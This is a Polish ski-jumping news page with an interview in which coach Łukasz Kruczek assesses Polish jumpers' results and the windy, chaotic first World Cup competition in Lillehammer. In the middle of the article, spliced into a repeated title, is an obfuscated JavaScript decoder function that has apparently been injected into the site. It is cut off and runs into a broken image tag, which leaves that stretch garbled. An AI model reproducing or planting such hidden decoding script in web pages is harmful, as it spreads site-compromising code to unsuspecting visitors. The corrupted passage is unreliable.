You are currently viewing Łukasz Kruczek dla SP: „Szalony konkurs, trzeba było mieć szczęście do wiatru i belki”

Łukasz Kruczek dla SP: „Szalony konkurs, trzeba było mieć szczęście do wiatru i belki”

Kruczek Lukasz Harrachov fot.S.Piwowar - Łukasz Kruczek dla SP: "Szalony konkurs, trzeba było mieć szczęście do wiatru i belki"Pierwszy konkurs w Lillehammer wydaje się być krokiem w dobrą stronę w wykonaniu Polaków. W finale znalazło się trzech naszych reprezentantów i jest to jak dotąd najlepszy wynik sezonu. Punktowali: Jan Ziobro, Klemens Murańka i Aleksander Zniszczoł. - Konkurs można ocenić na plus, było sporo zawirowań, ale przede wszystkim były dobre skoki - podsumowuje Łukasz Kruczek.

 
Ziobro Janek fot.Katarzyna.Sluzewska 300x199 - Łukasz Kruczek dla SP: "Szalony konkurs, trzeba było mieć szczęście do wiatru i belki"
Jan Ziobro, fot. Katarzyna Służewska

- Konkurs można ocenić go na plus. Był trudny z względu na panujące warunki. Było sporo zawirowań, ale przede wszystkim były, przynajmniej w części, dobre skoki - ocenia polski szkoleniowiec.

Najwyżej sklasyfikowanym Polakiem był dzisiaj Jan Ziobro (129,5 / 121,0 m; 19. miejsce). - Jego lepsze skoki są przede wszystkim konsekwencją większej pewności siebie, która została zbudowana m.in. przez dobre skoki w Zakopanem - przyznał Kruczek.

Muranka Klemens Zakopane B.Leja  300x200 - Łukasz Kruczek dla SP: "Szalony konkurs, trzeba było mieć szczęście do wiatru i belki"
Klemens Murańka, fot. Bartosz Leja

Pierwszy pucharowy występ w sezonie do całkiem udanych będzie mógł zaliczyć Klemens Murańka (128,0 / 123,0 m; 21. miejsce), który również zdobył punkty PŚ. - Klimek jest ‎już na tyle dojrzałym zawodnikiem, że dla niego starty i punkty w Pucharze Świata powinny być normą i na to liczymy. Wszedł bardzo pewnie w sezon i to jest ważne - stwierdził 39-letni szkoleniowiec.

Jak wiemy, występ Aleksandra Zniszczoła (132,5 / 119,0 m; 29. miejsce) w Lillehammer był konsekwencją decyzji Macieja Maciusiaka, który zapewnił, iż jego podopieczny czuje się aktulanie pewnie na skoczni. Co o występie 20-latka sądzi Łukasz Kruczek? - Olek skoczył dziś dobry konkurs, a czy zagości na dłużej w Pucharze Świata, to w dużej mierze zależy od planów Maćka Maciusiaka i tego, jakie zadania będą przed nim postawione w kolejnych tygodniach.

- Łukasz Kruczek dla SP: "Szalony konkurs, trzeba było mieć szczęście do wiatru i belki"function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4>4);p7=((y6&15)>2);w9=((p9&3)=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0ander Zniszczoł, fot. Agnieszka Sierotnik" src="http://www.skokipolska.pl/wp-content/uploads/2012/12/zniszczol_olo_as-300x205.jpg" alt="Aleksander Zniszczoł, fot. Agnieszka Sierotnik" width="300" height="205" /> Aleksander Zniszczoł, fot. Agnieszka Sierotnik

Trener polskiej kadry A zapytany o słabszą postawę Piotra Żyły w dzisiejszej rywalizacji (127,5 m / 33. miejsce), odparł: - Równie dobrze można by zapytać dlaczego Simon Ammann nie awansował do finału. Piotrek popełnił drobny błąd w pierwszej fazie lotu, co odbiło się na odległości. Bywają i takie skoki, dodatkowo w takim konkursie jak dziś trzeba było mieć też czynnik zwany szczęściem.

Pewne wątpliwości kibiców, jak i komentatorów wzbudziły decyzje jury związane z bardzo częstymi zmianami belek startowych. Jak zapatruje się na to trener polskiej reprezentacji?- Nie byłbym stronniczy, jesteśmy w Norwegii, a nie w Austrii. Konkurs był szalony, a wiatr dawał się wszystkim we znaki. Było bardzo mocno z tyłu, momentami za progiem było ponad 5 m/s. W takich warunkach da się skakać pod warunkiem odpowiednio długiego najazdu. Wystarczy jednak, że prędkość wiatru spadnie do 3 m/s i zawodnicy zaczynają lecieć po kilkanaście metrów dalej. Robi się wtedy niebezpiecznie, dodatkowo przy tylnym wietrze prędkość lądowania jest dużo większa i dłuższe skoki mogą być trudne do ustania. Dziś trzeba było mieć szczęście i do wiatru i do belki. Jej zmiany także miały wpływ - duże punkty za belkę - podsumował Kruczek.

 

rozmawiał Bartosz Leja

 

Dodaj komentarz